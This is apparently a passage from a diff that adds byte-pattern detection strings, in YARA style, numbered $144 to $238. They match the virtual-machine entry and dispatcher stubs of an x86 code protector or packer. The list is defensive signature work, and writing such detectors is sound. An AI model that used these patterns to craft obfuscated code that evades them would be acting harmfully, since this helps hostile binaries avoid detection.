+		$144 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 52 57 51 9C 53 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$145 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 55 52 9C 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$146 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 55 56 51 57 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$147 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 55 51 53 53 57 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$148 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 53 51 55 57 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$149 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 55 52 50 55 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$150 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 52 51 55 56 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$151 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 53 55 53 51 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$152 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 51 57 53 50 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$153 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 51 52 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+		$154 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 52 53 52 56 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$155 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 51 53 57 56 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$156 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 53 52 50 55 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+		$157 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 55 57 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$158 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 57 53 51 52 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 5E 59 5D 5A 59 5B 5F 58 9D C3}
+		$159 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 53 52 50 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$160 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F A5 D0 89 45 04 9C 8F 45 00 E9}
+		$161 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F AD D0 89 45 04 9C 8F 45 00 E9}
+		$162 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 47 50 39 C5 0F 87 ?? ?? ?? ?? 8D 4F 40 29 E1 8D 45 80 29 C8 89 C4 9C 56 89 FE 8D BD 40 FF FF FF 57 FC F3 A4 5F 5E 9D E9}
+		$163 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 57 52 51 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$164 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 57 50 55 56 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$165 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 52 56 50 53 56 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+		$166 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 57 55 56 51 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$167 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 55 50 52 9C 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$168 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 53 53 50 9C 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$169 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 53 50 9C 57 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$170 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 51 9C 56 50 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$171 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$172 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 52 51 55 55 56 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$173 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 57 9C 56 50 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$174 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 52 53 51 55 9C 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+		$175 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 52 53 51 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$176 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 66 8B 55 02 F6 D0 F6 D2 83 ED 02 20 D0 66 89 45 04 9C 8F 45 00 E9}
+		$177 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E8 66 89 45 04 9C 8F 45 00 E9}
+		$178 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E0 66 89 45 04 9C 8F 45 00 E9}
+		$179 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 53 55 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$180 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 55 51 9C 55 52 53 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$181 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 57 52 53 57 51 55 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$182 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 55 54 52 51 9C 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$183 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 51 51 52 55 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$184 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 9C 56 50 51 53 52 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$185 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 52 56 53 57 51 52 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$186 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 55 51 9C 52 55 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9}
+		$187 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 52 51 55 9C 50 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 0F B6 06 83 ED 02 46 66 89 45 00 E9}
+		$188 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 51 55 53 9C 57 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9}
+		$189 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 53 57 51 55 56 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$190 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 54 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$191 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 55 50 9C 56 54 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$192 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 57 53 56 9C 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$193 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 50 53 56 51 9C 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$194 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 56 50 9C 55 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$195 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 52 50 56 57 51 9C 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$196 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 9C 56 53 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$197 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 56 53 55 57 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$198 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 53 9C 57 55 51 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$199 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 56 53 57 9C 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5D 9D 5F 5A 5E 58 5B 5A C3}
+		$200 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 50 55 51 56 9C 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$201 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 9C 53 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9}
+		$202 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 56 51 50 9C 55 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$203 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 50 50 56 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$204 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 50 53 51 56 55 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$205 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 53 52 57 55 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$206 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 51 51 9C 52 57 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$207 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 9C 56 53 55 57 54 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$208 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 55 56 57 51 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$209 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 9C 50 51 57 53 51 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$210 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 9C 57 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$211 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 56 57 55 53 9C 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$212 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 51 50 9C 57 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$213 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 53 50 55 9C 57 51 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
+		$214 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 55 57 53 9C 50 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$215 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 56 52 9C 50 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5D 5B 58 9D 5A 5E 59 59 C3}
+		$216 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 52 56 53 50 55 9C 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9}
+		$217 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 50 55 56 53 9C 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$218 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 57 50 53 55 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$219 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 52 53 50 56 57 55 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$220 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 57 9C 50 53 56 51 52 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$221 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 52 9C 57 54 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$222 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 57 50 9C 56 52 50 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$223 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 53 57 50 52 50 9C 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$224 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 9C 50 55 53 54 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$225 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 52 55 50 9C 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$226 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 56 53 55 57 9C 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$227 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 50 57 53 56 52 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$228 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 56 57 53 9C 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$229 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 56 9C 57 53 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$230 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 9C 55 51 54 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$231 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 53 50 57 9C 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 EC 5B 5E 5D 5D 9D 5F 58 5B 59 5A C3}
+		$232 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 56 55 53 57 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$233 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 9C 55 53 51 56 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$234 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 56 50 52 57 57 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9}
+		$235 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$236 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 55 53 50 52 53 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$237 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 53 51 9C 55 54 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$238 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 53 50 55 51 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
